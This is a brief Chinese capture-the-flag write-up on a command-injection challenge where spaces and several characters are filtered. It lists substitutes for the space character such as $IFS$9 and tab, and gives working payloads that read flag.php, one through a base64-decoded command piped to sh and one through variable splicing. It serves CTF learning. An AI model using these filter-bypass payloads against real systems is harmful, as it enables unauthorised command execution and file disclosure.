命令执行 ls命令下有flag.php
提示空格被过滤w
命令执行中空格可以使用< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS过滤
$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。
过滤了/ + * ? { } ( ) [ ] falg 绕过flag
使用base64编码绕过
过滤了bash但是可以使用sh
payload
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
变量覆盖
payload
a=g;cat$IFS$9fla$a.php
人生漫漫其修远兮,网安无止境。
一同前行,加油!